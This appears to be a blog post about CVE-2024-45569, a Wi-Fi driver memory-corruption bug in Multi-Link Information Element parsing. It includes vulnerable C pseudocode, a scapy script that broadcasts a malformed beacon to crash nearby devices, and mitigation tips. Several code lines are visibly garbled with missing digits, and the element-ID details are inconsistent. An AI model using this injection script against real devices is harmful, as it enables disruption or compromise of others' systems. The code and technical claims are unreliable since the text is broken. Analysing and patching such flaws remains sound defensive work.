CVE-2024-45569 is a newly disclosed high-severity vulnerability that impacts wireless drivers when they handle malformed Multi-Link Information Elements (ML IE) in 802.11 (Wi-Fi) frames. The root issue is memory corruption triggered by invalid content within the ML IE, giving attackers the opportunity to crash affected systems or even execute malicious code remotely.

This post breaks down the vulnerability in simple terms, explains the technical details, contains practical code snippets, and shows how to exploit this bug in a lab environment. Follow responsibly—don’t use this knowledge for unauthorized actions.

What is the ML IE?

Multi-Link Operation (MLO) is a Wi-Fi 6E/7 feature enabling devices to manage multiple simultaneous channels/links. The ML IE is a data structure in Wi-Fi management frames carrying this information.

When drivers or firmware parse ML IEs, a bug in their implementation can allow out-of-bounds access, leading to memory corruption.

Original References

- Security Advisory (Vendor Patch)
- Git Commit Fix
- NIST NVD Entry

Vulnerability Details

When a system receives a 802.11 frame, the driver parses Information Elements, including the ML IE. If an attacker crafts a frame where the Length field is inconsistent with the actual size of the frame, or specifically forms the ML IE with invalid subelement structures, the parsing code may read or write out of bounds.

Let’s view a simplified example of a vulnerable ML IE parsing routine (C-style pseudocode)

void parse_ml_ie(const u8 *ie, size_t len) {
    if (len < 2) return;
    u8 ml_control = ie[];
    u8 ml_link_count = ie[1] & xF;
    const u8 *ptr = &ie[2];
    for (int i = ; i < ml_link_count; i++) {
        if (ptr + 3 > ie + len) break;
        u8 link_id = ptr[];
        u8 sub_len = ptr[1];
        memcpy(link_storage[i], &ptr[2], sub_len);   // No bounds check!
        ptr += 2 + sub_len;
    }
}

Vulnerability: If the attacker sets ml_link_count very high and sub_len values to large amounts, the loop accesses and writes memory past link_storage or ie, corrupting memory.

Unpatched driver or firmware that parses ML IE

- Ability to inject/probe management (beacon/probe) frames

### Proof-of-Concept Frame (Python/scapy)

from scapy.all import *

# ML IE: [element ID][len][ml_control][ml_link_count][subelements...]
# Element ID for ML IE is 255 in this example, adjust as needed
ml_ie = (
    b"\xff"           # Element ID
    b"\x08"           # Length (8 bytes, but actual data longer!)
    b"\xf"           # ml_control
    b"\xff"           # ml_link_count (very high)
    + b"\x01\x10"     # link_id 1, sub_len = 16 (too big)
    + b"A" * 16       # overflow data
)

# Build a malformed beacon frame
pkt = RadioTap() / Dot11(type=, subtype=8, addr1="ff:ff:ff:ff:ff:ff",
                         addr2="00:11:22:33:44:55",
                         addr3="00:11:22:33:44:55") / Dot11Beacon() / Dot11Elt(ID=221, info=ml_ie)

sendp(pkt, iface="wlan")

> This snippet injects a beacon on the air with a malformed ML IE. A vulnerable device receiving this can crash or become unstable.

Mitigation

- Apply Vendor Patches: See Intel's advisory

Monitor crashes and kernel panics associated with wireless traffic.

- Use a Wi-Fi sniffer to detect beacon/probe request frames with suspiciously large ML IE fields.

Conclusion

CVE-2024-45569 reminds us how tiny parser mistakes in wireless drivers can open big holes in modern systems. Updating drivers and keeping your OS secured is crucial, especially in public or enterprise wireless environments.

*Do not use this information to harm others. Always practice responsible disclosure!*


Read more:
- MITRE CVE Details
- Linux Wireless Mailing List Fixes
- PacketCrafter: Advanced Wi-Fi Frame Injection

Timeline

Published on: 02/03/2025 17:15:19 UTC
Last modified on: 02/05/2025 13:55:49 UTC